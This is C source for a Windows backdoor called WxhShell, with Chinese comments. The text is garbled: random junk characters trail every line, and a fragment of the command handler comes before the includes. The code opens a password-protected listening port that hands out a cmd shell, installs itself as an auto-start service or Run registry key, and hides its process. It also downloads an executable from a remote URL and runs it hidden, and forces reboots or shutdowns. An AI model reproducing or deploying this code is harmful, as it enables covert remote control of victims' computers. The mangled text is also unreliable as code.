    closesocket(wsh); G@[8P?M=Z  
    ExitThread(0);  5&&4-  
    } 2J ZR"P  
    break; Q+ ^ &  
    } 1cLtTE  
  // 关机 d;Vy59}eY  
  case 'd': { ~&i4FuK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nr~$i%[  
    if(Boot(SHUTDOWN)) N{;!xI v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;sZG=y@  
    else { s[yWBew  
    closesocket(wsh); Cbw *? 9d  
    ExitThread(0); &A QqI  
    } fu/8r%:h  
    break; hmO2s/~  
    } lLx!_h  
  // 获取shell q@|+`>h  
  case 's': { n/+X3JJ  
    CmdShell(wsh); /BL:"t@-  
    closesocket(wsh); nT6y6F _e  
    ExitThread(0); ,,'jyqD  
    break; J7+G"_)'  
  } +I3jI <  
  // 退出 :v&[ !  
  case 'x': { SS=<\q#MS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >cu%Cs=m  
    CloseIt(wsh); KP&+fDa  
    break; { mi}3/  
    } ,=:K&5mCv  
  // 离开 ]pax,| +$C  
  case 'q': { ef5)z}B   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y_Y(Xx3  
    closesocket(wsh); ?"6Zf LRi  
    WSACleanup(); &L ;ocd$  
    exit(1); B$4*U"tk  
    break; Q`ua9oIJ=  
        } > ;,S||  
  } 'wND  
  } e w^(3&  
 [XfR`@  
  // 提示信息 U v2.Jo/Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?[D3 -4  
} f%Q{}fC{*  
  } aF{_"X2  
X'Ss#s>g  
  return;  < $~lFV  
} 8+zW:0"[  
3db{Tcn\@]  
// shell模块句柄 w?Te%/s.  
int CmdShell(SOCKET sock) V]=22Cxi'~  
{ LW %AZkAx  
STARTUPINFO si; #2{-6ey  
ZeroMemory(&si,sizeof(si));  +\/Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |VBt:dd<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yh":>~k?SY  
PROCESS_INFORMATION ProcessInfo; {ZJO5*  
char cmdline[]="cmd"; m|a9T#B(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :RaQ =C  
  return 0; C"{^wy{sL  
} (o^tmH*  
"HMEoZ  
// 自身启动模式 {keZ_2  
int StartFromService(void) 1|bXIY.J*  
{ L$ZjMJ  
typedef struct d>NGCe  
{ 7FB?t<x  
  DWORD ExitStatus; B VBn.ut  
  DWORD PebBaseAddress; ]P4WfV d  
  DWORD AffinityMask; Kb.qv)6i*  
  DWORD BasePriority; D!<F^mtl  
  ULONG UniqueProcessId; wu41Mz7  
  ULONG InheritedFromUniqueProcessId; vwCQvt  
}   PROCESS_BASIC_INFORMATION; L.Y3/H_  
8Sbz)X  
PROCNTQSIP NtQueryInformationProcess; [);oj<  
ZoW1Cc&p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z+"tAVB[i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uZqL'l+/y  
X8Z?G,[H  
  HANDLE             hProcess; t*{L[c9.Uq  
  PROCESS_BASIC_INFORMATION pbi; ,+=9Rp`md  
}V?m =y [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %b6$N_M{H1  
  if(NULL == hInst ) return 0; _:x]' w%  
9^gYy&+>6]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i2F7O"f.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ss3p6%V/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^QK`z@B  
twT/uBQ4a  
  if (!NtQueryInformationProcess) return 0; -'rdN i  
X+hHEkJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z%t_1t  
  if(!hProcess) return 0; Ltlp9 S  
w:&" "'E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2M %j-yG"  
W5*ldXXk  
  CloseHandle(hProcess); 5{ c;I<0  
%xt9k9=vZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "TZq")-  
if(hProcess==NULL) return 0; tpfgUZ{  
Z}W{ iD{  
HMODULE hMod; fr17|#L+s  
char procName[255]; ( }-*irSsj  
unsigned long cbNeeded; HiCh:IP7>/  
_&<n'fK[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5mH [|_  
_^NX`<&  
  CloseHandle(hProcess); > p`,  
mH o#"tc  
if(strstr(procName,"services")) return 1; // 以服务启动 ,7{|90'V<  
~q$]iwwqT  
  return 0; // 注册表启动 [FFr}\}bY  
} x/|W;8g4  
'jev1u[  
// 主模块 -Q WvB  
int StartWxhshell(LPSTR lpCmdLine) !09)WtsEfx  
{ E^F"$Z" N  
  SOCKET wsl; DfXkLOGik  
BOOL val=TRUE; tOwn M1 :(  
  int port=0; !_QI<=X  
  struct sockaddr_in door; f|[7LIdh-  
(gt\R}  
  if(wscfg.ws_autoins) Install(); Fmk:[h Mw  
'aSsyD!?<  
port=atoi(lpCmdLine); [xS7ae  
mm/\\my  
if(port<=0) port=wscfg.ws_port; ^q7V%{54  
p`tz*ewC  
  WSADATA data; &@~K8*tmK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Llfl I   
^y<^hKjV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E`HoJhB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -hd  
  door.sin_family = AF_INET; L.n@;*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]'.qRTz'\t  
  door.sin_port = htons(port); \CB^9-V3  
!np_B0`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |t,sK aL  
closesocket(wsl); ,=/9Ld2w9  
return 1; ,Py\Cp=Dw  
} Sd+5Uf `  
qv!(In>u  
  if(listen(wsl,2) == INVALID_SOCKET) { K #3^GB3P  
closesocket(wsl); 7 N}@zPAZ  
return 1; 7Cz~nin>7  
} 26V6Y2X  
  Wxhshell(wsl); T(!1\TB  
  WSACleanup(); *zrT;j G  
a>4/2#J  
return 0; Dri6\/0  
u[a-9^&g  
} I?T !  
{^]qaQ[5N  
// 以NT服务方式启动 UZdnsG7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hf`y_H+\7  
{ WowKq0sn  
DWORD   status = 0; N,`@Q7  
  DWORD   specificError = 0xfffffff; h ldZA  
xP8/1wd.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0h-NT\m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &;Ncc,jb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O,$*`RZpx  
  serviceStatus.dwWin32ExitCode     = 0; fB2ILRc  
  serviceStatus.dwServiceSpecificExitCode = 0; ak7%  
  serviceStatus.dwCheckPoint       = 0;  \XDiw~0  
  serviceStatus.dwWaitHint       = 0; \f,<\mJ#  
}8'_M/u\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kQ\GVI11?  
  if (hServiceStatusHandle==0) return; ]TvMT  
j.M]F/j  
status = GetLastError(); V&zeC/xSq  
  if (status!=NO_ERROR) oodA&0{)d  
{ y-pdAkDh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :zW? O#aL-  
    serviceStatus.dwCheckPoint       = 0; Z$z-Hx@%  
    serviceStatus.dwWaitHint       = 0; {_7hX`p  
    serviceStatus.dwWin32ExitCode     = status; @&jR^`Y.  
    serviceStatus.dwServiceSpecificExitCode = specificError; \kE0h\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fTxd8an{  
    return; FB k7Cn!  
  } '4,?YcZ?S  
`zoHgn7B9q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c |0p'EQ  
  serviceStatus.dwCheckPoint       = 0; (Mv~0ShakO  
  serviceStatus.dwWaitHint       = 0; 6(rm%c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5BrN uR$  
} ju2H 0AQ  
ZayJllaq^  
// 处理NT服务事件,比如:启动、停止  |Iy;_8c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {$S"S j  
{ !(*&P  
switch(fdwControl) m"L^tSD~  
{ [REH*_  
case SERVICE_CONTROL_STOP: B:>:$LIL  
  serviceStatus.dwWin32ExitCode = 0; QPuc{NcB>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =svFw&q"  
  serviceStatus.dwCheckPoint   = 0; JMAdsg/  
  serviceStatus.dwWaitHint     = 0; R0t!y3r&N  
  { ,e'r 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /#9P0@Y  
  } |=5zI6pT  
  return; "8Dm7)nB  
case SERVICE_CONTROL_PAUSE: lz^Vi!|p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uh\G6s!4/  
  break; _DR@P(0>_  
case SERVICE_CONTROL_CONTINUE: ^"Bhp:o2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BOpZ8p'eH1  
  break; :ok.[q  
case SERVICE_CONTROL_INTERROGATE: 4 95Y<x}=  
  break; 65Z}Hf  
}; % jDH{xSMb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >{AE@@PB^  
} c@A.jc  
(-ELxshd  
// 标准应用程序主函数 6+=_p$crMx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !\b-Ot(  
{ j32*9  
rDl/R^w"  
// 获取操作系统版本 ll__A|JQ  
OsIsNt=GetOsVer(); {?Slo5X|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -axKnfj  
CUDA<Fm  
  // 从命令行安装 q:_:E*o  
  if(strpbrk(lpCmdLine,"iI")) Install(); A}"|_ &E  
we}xGb.u  
  // 下载执行文件 v:lkvMq|=  
if(wscfg.ws_downexe) { ",apO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0}GO$%l  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7<LuL  
} YM#' +wl}`  
"s@Hg1  
if(!OsIsNt) { "= 2\kZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 27}:f?2hbJ  
HideProc(); G/ si( LK  
StartWxhshell(lpCmdLine); p*K #s1  
} +wG *qI  
else M._h=wX{}  
  if(StartFromService()) t!4 (a0\$F  
  // 以服务方式启动 f (C:J[;Z  
  StartServiceCtrlDispatcher(DispatchTable); @l3&vt2=J  
else :TVo2Zm[@  
  // 普通方式启动 FOD'&Yb&  
  StartWxhshell(lpCmdLine); e"1mdw"  
^/%o I;O{  
return 0; a<*+rGI  
} '*[7O2\%/  
5NkF_&S_1  
eP (*.  
Uhu?G0>O  
=========================================== 8K^#$,.."  
xlcCL?qQj  
-qpvVLR,  
;0Ua t  
N[9o6Nl|a  
Ri"rT] '  
" ^WU[+H ;  
xJ#O|7N  
#include <stdio.h> 5X8 i=M;  
#include <string.h> ?taC !{  
#include <windows.h> uv5NqL&  
#include <winsock2.h> q'fOlq  
#include <winsvc.h> ^G qO>1U  
#include <urlmon.h> xqdkc^b  
?Kmz urG  
#pragma comment (lib, "Ws2_32.lib") NI/'SMj%  
#pragma comment (lib, "urlmon.lib") YS4"TOFw  
Q?hf2iw  
#define MAX_USER   100 // 最大客户端连接数 %#fjtbeB  
#define BUF_SOCK   200 // sock buffer ka=A:biz  
#define KEY_BUFF   255 // 输入 buffer 1/bTwzR.g  
ZYY`f/qi  
#define REBOOT     0   // 重启 qAp <OJ  
#define SHUTDOWN   1   // 关机 };r EN`L  
gWro])3  
#define DEF_PORT   5000 // 监听端口  8\nka5  
:bo2H[U+  
#define REG_LEN     16   // 注册表键长度 3hkEjR  
#define SVC_LEN     80   // NT服务名长度 r}Vr_  
Ww~C[8q  
// 从dll定义API +dCR$<e9r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uJ|,-"~F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CVY-U|xFY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D,$M$f1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rhlm  
d~.hp  
// wxhshell配置信息 #_Uo^Mw  
struct WSCFG { F)=<|,b1  
  int ws_port;         // 监听端口 <bn|ni|c"  
  char ws_passstr[REG_LEN]; // 口令 7aRy])x  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;Ym6ey0t  
  char ws_regname[REG_LEN]; // 注册表键名  Z a,o  
  char ws_svcname[REG_LEN]; // 服务名 0(C[][a*u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E690'\)31  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3p-SpUvp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .: wg@Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rD6NUS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]=3hH+1 a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C(sz/x?11  
&]f8Xd  
}; n\7 >_  
Z3<lJk\Y  
// default Wxhshell configuration W-D4" G@  
struct WSCFG wscfg={DEF_PORT, Hl}m*9<9us  
    "xuhuanlingzhe", g \+!+!"~  
    1, :\mdVS!o  
    "Wxhshell", <}mA>c'k  
    "Wxhshell", U_9|ED:  
            "WxhShell Service", <%4pvn8d?&  
    "Wrsky Windows CmdShell Service", $Q|6W &?[;  
    "Please Input Your Password: ", 3]NKAPY  
  1, 1)e[F#|  
  "http://www.wrsky.com/wxhshell.exe", lq 1223  
  "Wxhshell.exe" V1i^#;  
    }; #cikpHLXG  
"<L9-vb  
// 消息定义模块 gjJ:s,Fg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W;X:U.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i'ZnU55=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1JS5 LS  
char *msg_ws_ext="\n\rExit."; 6DEH |2  
char *msg_ws_end="\n\rQuit."; 5a5JOl$8  
char *msg_ws_boot="\n\rReboot..."; 4X:mb}(  
char *msg_ws_poff="\n\rShutdown..."; YYe<StyH  
char *msg_ws_down="\n\rSave to "; AgDXpaq  
!~mPxGY  
char *msg_ws_err="\n\rErr!"; (e 2.Ru  
char *msg_ws_ok="\n\rOK!"; rXrIGgeM  
OK@yMGz1I  
char ExeFile[MAX_PATH]; 5n::]Q%=D  
int nUser = 0; M6[O> z  
HANDLE handles[MAX_USER]; j<?k$ 8H  
int OsIsNt; 3E@ &  
[8b{Yba z  
SERVICE_STATUS       serviceStatus; ZSwhI@|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 25vq#sS]  
m9'bDyyK  
// 函数声明 ^MWp{E  
int Install(void); mphs^k< Z  
int Uninstall(void); 1<]?@[l<  
int DownloadFile(char *sURL, SOCKET wsh); ;%AY#b4m  
int Boot(int flag); T[ zEAj  
void HideProc(void); \  6Y%z  
int GetOsVer(void); 6m9\0)R  
int Wxhshell(SOCKET wsl); DI :  
void TalkWithClient(void *cs); kCZ'p  
int CmdShell(SOCKET sock); Fe2iG-ec  
int StartFromService(void); 8P%Jky&(  
int StartWxhshell(LPSTR lpCmdLine); ?+]   
 L$]Y$yv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w~AO;X*Ke"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {FN CC*=  
%zjyZ{=  
// 数据结构和表定义 t4zKI~cO  
SERVICE_TABLE_ENTRY DispatchTable[] = PTF|"^k+   
{ UJ)( Sw  
{wscfg.ws_svcname, NTServiceMain}, OQ3IkE`G  
{NULL, NULL} b\SB  
}; C7l4X8\w  
2N&S__  
// 自我安装 )uCa]IR  
int Install(void) / 7 R0w  
{ 9 b&HqkXX  
  char svExeFile[MAX_PATH]; PmUq~YZ7  
  HKEY key; e=i9l  
  strcpy(svExeFile,ExeFile); gue~aqtJ  
()_^:WQO?  
// 如果是win9x系统,修改注册表设为自启动 xn<x/e  
if(!OsIsNt) { w\>@> *E>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T#YJ5Xw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wem hP8!gc  
  RegCloseKey(key); dsZ-|C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KctbNMU]k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 o5u02x  
  RegCloseKey(key); z7JhS|  
  return 0; x c?=fv  
    } _BND{MsX  
  } _y9NDLRs8  
} JPe<qf-  
else { ,/-DAo~O  
\k%j  
// 如果是NT以上系统,安装为系统服务 RPTIDA))  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u0Opn=(_  
if (schSCManager!=0) 8J0#lu  
{ Cyp%E5b7  
  SC_HANDLE schService = CreateService 'Y5l3xQk  
  ( %PM8;]  
  schSCManager, WQNFHRfO*n  
  wscfg.ws_svcname,  )jH|j  
  wscfg.ws_svcdisp, %bB:I1V\  
  SERVICE_ALL_ACCESS, ~T\:".C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :w9s bW  
  SERVICE_AUTO_START, 4='/]z  
  SERVICE_ERROR_NORMAL, <xD6}h/  
  svExeFile, j2%M-y4E  
  NULL, (7|!%IO.  
  NULL, -aM7>YR  
  NULL, \~:_ h#bW  
  NULL, ^%RIz!}  
  NULL o[k,{`M0  
  ); %xwtG:IKEV  
  if (schService!=0) NY%=6><t!  
  { u:}yE^8@  
  CloseServiceHandle(schService);  rUBc5@|  
  CloseServiceHandle(schSCManager); (p?B=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >'{'v[qR[G  
  strcat(svExeFile,wscfg.ws_svcname); xU;Q ~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5J*h7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A~ wVY  
  RegCloseKey(key); pLpWc~#  
  return 0; a_Z[@W  
    } ~J1UzUxX2  
  } ;TCT%j`^o  
  CloseServiceHandle(schSCManager); 3\?yjL^  
} 6;}W)S  
} 0?,%B?A8O  
TE@bV9a  
return 1; ds'7zxy/  
} cD9axlJ  
I~>Ye<g#  
// 自我卸载 ]= 9^wS  
int Uninstall(void) j.g9O]pi  
{ 71k >_'fl  
  HKEY key; zy@ nBi^  
dJ=z '?|%g  
if(!OsIsNt) { b^&nr[DC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2~!+EH  
  RegDeleteValue(key,wscfg.ws_regname); &&|c-mD+*  
  RegCloseKey(key); QR[i9'`<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V?-OI>  
  RegDeleteValue(key,wscfg.ws_regname); -hP>;~*4  
  RegCloseKey(key); ;c0z6E /  
  return 0; )C#b83  
  } 1|H(q  
} j<'ZO)q`Q  
} l#!6 tw+e?  
else { +Am\jsq  
f/%Q MhM:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nCdxn#|  
if (schSCManager!=0) Nr0}*8#j  
{ oz/Nx{bg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q,2 +\i  
  if (schService!=0) eGlPi|  
  { dW"=/UW  
  if(DeleteService(schService)!=0) { 3W"l}.&ZJ"  
  CloseServiceHandle(schService); 6e At`L[K.  
  CloseServiceHandle(schSCManager); :eW`El  
  return 0; .#}`r`/  
  } {*t0WE&1t  
  CloseServiceHandle(schService); Huho|6ohH  
  } 629 #t`W\  
  CloseServiceHandle(schSCManager); K|sx"u|?  
} hBNA,e:  
} }:4b_-&Q5  
^n<o,K4\}  
return 1; nY50dFA,  
} I@o42%w2  
Eh|v>Yew  
// 从指定url下载文件 #@K %Mx  
int DownloadFile(char *sURL, SOCKET wsh) 9 az{j 1  
{ rCgoU xW`  
  HRESULT hr; \[W)[mH_  
char seps[]= "/"; M%qHf{ B  
char *token; <~-cp61z;  
char *file; Gq9pJ  
char myURL[MAX_PATH]; I?Ct@yxhF'  
char myFILE[MAX_PATH]; b=Oec%Adx  
}ujl2uhM  
strcpy(myURL,sURL); /}#@uC  
  token=strtok(myURL,seps); ;TTH  
  while(token!=NULL) #^eXnhj9  
  { 2H2Yxe7?-  
    file=token; PNhxF C.  
  token=strtok(NULL,seps); xjg(}w  
  } "P@oO,.  
}\/ 3B_X6N  
GetCurrentDirectory(MAX_PATH,myFILE); zpBkP-%}E  
strcat(myFILE, "\\"); 2(K@V6j$M  
strcat(myFILE, file); 8)51p+a  
  send(wsh,myFILE,strlen(myFILE),0); l"1at eM3  
send(wsh,"...",3,0); QK@[ b3-h1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &ub0t9R  
  if(hr==S_OK) @w5x;uB|%G  
return 0; ]U)Yg  
else 9a3mN(<  
return 1; 1CpIK$/  
xJ|_R,>.H  
} Hw 1cc3!  
.Arcsg   
// 系统电源模块 xdkC>o4>  
int Boot(int flag) u#~q86k  
{ & ( i_s  
  HANDLE hToken; ;{f4E)t 7  
  TOKEN_PRIVILEGES tkp; qttJ*zu  
_0EKE  
  if(OsIsNt) { xfADks2w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :~%{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m9 D' yXZ  
    tkp.PrivilegeCount = 1; ]c~W$h+F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,AEaW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k5/W'*P  
if(flag==REBOOT) { UTR`jXCg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M sQ>eSk  
  return 0; 5VhJ*^R`y  
} 1&#qq*{  
else { 1?,1EYT"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -wrVhCd~g]  
  return 0; j$Wd[Ja+O  
} lmpBf{~ S  
  } 9HBRWh6  
  else { WI}cXXUKm0  
if(flag==REBOOT) { caXSt2|'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &$8YW]1M  
  return 0; ~zph,bk  
} 6&s" "J)3  
else { /+ Q3JS(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l7vxTj@(-  
  return 0; tiQeON-Q_  
} ((cRe6  
} W}aCU~  
"`Mowp*  
return 1; qEajT"?  
} ~x6<A\  
"#G`F  
// win9x进程隐藏模块 -cP7`.a  
void HideProc(void) 3+oGR5gIN  
{ 35/K9l5  
`|WEzW~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p`/c&}  
  if ( hKernel != NULL ) }C!g x6  
  { :hFKmoy#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3:"w"0[K3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~Y3X*  
    FreeLibrary(hKernel); i.Z iLDs\7  
  } 20?@t.aMp  
Qs\*r@6?  
return; 8"yZS)09  
} Wf:LYL  
pX?/=T@ Bw  
// 获取操作系统版本 )zK@@E  
int GetOsVer(void) 9>T5~C'*  
{ P87Lo4R d  
  OSVERSIONINFO winfo; Q.} guI\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fprP$MbI  
  GetVersionEx(&winfo); ae0t *;~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (d>}Fp  
  return 1; DVz_;m6)  
  else p-XO4Pc 6  
  return 0; gAr=fq-|  
} ]8/g[Ii  
0,5)L\{ R  
// 客户端句柄模块 -OXC;y  
int Wxhshell(SOCKET wsl) V_/.]zQA  
{ Y1R?, 5  
  SOCKET wsh; Yan}H}Oq  
  struct sockaddr_in client; hMnm>  
  DWORD myID; ;b_l/T(  
?Sr7c|a2  
  while(nUser<MAX_USER) > PK 6CR  
{ u\Y3h:@u  
  int nSize=sizeof(client); H*HL:o-[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SZ1yy["  
  if(wsh==INVALID_SOCKET) return 1; 6_g:2=6S  
 L30$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $8WWN} OC  
if(handles[nUser]==0) \>[k0<  
  closesocket(wsh); b} FhC"'i  
else %ty`Oa2  
  nUser++; 7KL@[  
  } WS//0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6uIgyO*;k  
+t%1FkI\  
  return 0; EhAaaG  
} c8LMvL  
Zm*qV!  
// 关闭 socket 7~Z(dTdSG  
void CloseIt(SOCKET wsh) _p^$.\k"  
{ Jq?Fi'2F%  
closesocket(wsh); L%jIU<?Z7  
nUser--; hBi/lHu'  
ExitThread(0); Mj`g84  
} 3,?LpdTS  
"x3x$JQZy  
// 客户端请求句柄 D)tL}X$  
void TalkWithClient(void *cs) "!ks7:}v  
{ foUB/&Ee  
0< 93i   
  SOCKET wsh=(SOCKET)cs; -9Dr;2\  
  char pwd[SVC_LEN];  :!Nx'F9a  
  char cmd[KEY_BUFF]; #>6Jsnv1  
char chr[1]; X0Wx\xDg[  
int i,j; R@){=8%z  
d hjX[7Bl9  
  while (nUser < MAX_USER) { SY.ZEJcv  
<nTZs`$LwL  
if(wscfg.ws_passstr) { zx5#eMD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |DYgc$2pN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G=]ox*BY  
  //ZeroMemory(pwd,KEY_BUFF); V*DDU]0k  
      i=0; &0i$Y\g  
  while(i<SVC_LEN) { Fw:_O2  
e07u@_'^  
  // 设置超时 >gDeuye  
  fd_set FdRead; WLA&K]  
  struct timeval TimeOut; q@g#DP+C  
  FD_ZERO(&FdRead); fN/;BT  
  FD_SET(wsh,&FdRead); (&Rql7](8  
  TimeOut.tv_sec=8; 7>=  
  TimeOut.tv_usec=0; 0SQrz$y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pHXs+Ysw+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P\WFm   
?) T@qn+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @]!9;?so  
  pwd=chr[0]; 6_:I~TTX  
  if(chr[0]==0xd || chr[0]==0xa) { Fv*Et-8tN5  
  pwd=0; e_"m\e#N  
  break; $01csj  
  } 1_};!5$.  
  i++; 1tLEKSo+  
    } --EDr>'D5P  
S+"Bq:u"  
  // 如果是非法用户,关闭 socket \d*ts(/a*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \~g,;>%7Y  
} S*gm[ZLQ  
#^BttI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); icb *L~qm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XOLE=zdSp  
KY}H-  
while(1) { ltlo$`PR  
*nYg-)  
  ZeroMemory(cmd,KEY_BUFF); "7'P Lo3O  
s/B_  
      // 自动支持客户端 telnet标准   :dpwr9)  
  j=0; !FDd5CS  
  while(j<KEY_BUFF) { I,<?Kv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Z{jc  
  cmd[j]=chr[0]; ?J,,RK.  
  if(chr[0]==0xa || chr[0]==0xd) { @ meT8S9t  
  cmd[j]=0; 2W2T  
  break; TMo DN%{  
  } T@*'}*  
  j++; y$9! rbL  
    } 3H0B+F2XQ  
``eam8Az_U  
  // 下载文件 j ijwHL  
  if(strstr(cmd,"http://")) { YWs?2I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Nv7Wt!  
